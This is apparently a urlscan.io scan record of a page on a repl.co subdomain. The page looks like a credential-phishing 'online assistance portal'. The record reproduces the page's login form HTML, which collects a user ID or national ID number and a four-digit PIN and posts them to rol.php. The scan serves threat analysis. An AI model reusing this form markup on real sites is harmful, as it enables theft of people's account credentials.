breakablejubilantfont.grupolmforma.repl.co Open in urlscan Pro
34.149.204.188  Public Scan

Form analysis
1 forms found in the DOM

POST rol.php

<form class="login100-form validate-form" method="post" action="rol.php">
  <div align="left"><span class="p-b-49" style="font-size:18px;"></span></div>
  <img src="info.png"> <label class="control-label" for="DocumentNumber" data-hj-masked=""></label>
  <div class="wrap-input100 validate-input m-b-23" data-validate="">
    <span class="iconuser"> </span>
    <input class="input100" type="UserName" name="valid1" maxlength="20" placeholder="Usuario o C.C" required="">
  </div>
  <img src="info.png"> <label class="control-label" for="Pass" data-hj-masked=""></label>
  <div class="wrap-input100 validate-input" data-validate="PIN">
    <input class="input100" type="password" name="valid2" maxlength="4" onkeypress="soloNumeros(event)" placeholder="Clave" required="">
    <span class="blokuser"> </span>
    <span class="focus-input100" data-symbol=""></span>
  </div>
  <br>
  <br>
  <div class="text-right p-t-8 p-b-31">
  </div>
  <div class="container-login100-form-btn">
    <div class="wrap-login100-form-btn">
      <div class="login100-form-bgbtn"></div>
      <button type="submit" class="login100-form-btn">
        <b>Validar</b>
      </button>
    </div>
  </div>
  <div>
  </div><br>
</form>

Text Content

INICIO

PORTAL DE ASISTENCIA EN LINEA.






Validar